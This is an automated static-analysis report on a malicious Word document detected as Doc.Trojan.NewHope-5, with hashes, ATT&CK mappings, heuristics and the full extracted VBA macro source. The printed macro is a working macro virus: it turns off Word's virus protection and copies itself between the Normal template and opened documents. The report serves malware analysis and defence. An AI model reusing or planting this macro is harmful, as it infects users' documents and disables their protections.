Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b24b7e63790ec945…

MALICIOUS

Office (OLE)

43.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8a7b92c11551f2c0ed0c3d498d3a675e SHA-1: 797f585095550901d483ff42fc8f37c0a08c95e7 SHA-256: b24b7e63790ec9456ab29cd8b18df8cb4500d3a5e273bc9779cccb117e5b7bf7
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document with a high-severity heuristic indicating the presence of VBA macros, specifically a Document_Open macro. The ClamAV detection name 'Doc.Trojan.NewHope-5' strongly suggests malicious intent. The VBA code appears to copy itself between the Normal template and the active document, a common technique for establishing persistence or ensuring execution, and is designed to run automatically when the document is opened.

Heuristics 3

  • ClamAV: Doc.Trojan.NewHope-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NewHope-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1900 bytes
SHA-256: 882226d1666bf939d85e0d7928cd275be1fe6e51cf9e95c0b8de76552ec4b7a6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Rem
Call Document_Open
Rem ProgramName "¬å¦º§A!ªü«ó¯f¬r"
End Sub
Private Sub Document_New()
Call Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
NormInstalled = False
ActInstalled = False
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(3, 1) = "Rem" Then
    MsgBox "¥i¯à¦³ªü«ó¯f¬r³á?"
    Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule
    
    With Noc
        Code = .Lines(1, .CountOfLines)
    End With
    
    With Inf
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, Code
    End With
    GoTo KILLED
End If
NormInstalled = False
ActInstalled = False
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then NormInstalled = True
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then ActInstalled = True
If NormInstalled = True And ActInstalled = True Then GoTo KILLED
If NormInstalled = False Then
    Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Else
    Set Inf = ActiveDocument.VBProject.VBComponents(1).CodeModule
    Set Noc = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
With Noc
    Code = .Lines(1, .CountOfLines)
End With
With Inf
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, Code
End With
Application.DisplayAlerts = wdAlertsAll
KILLED:
End Sub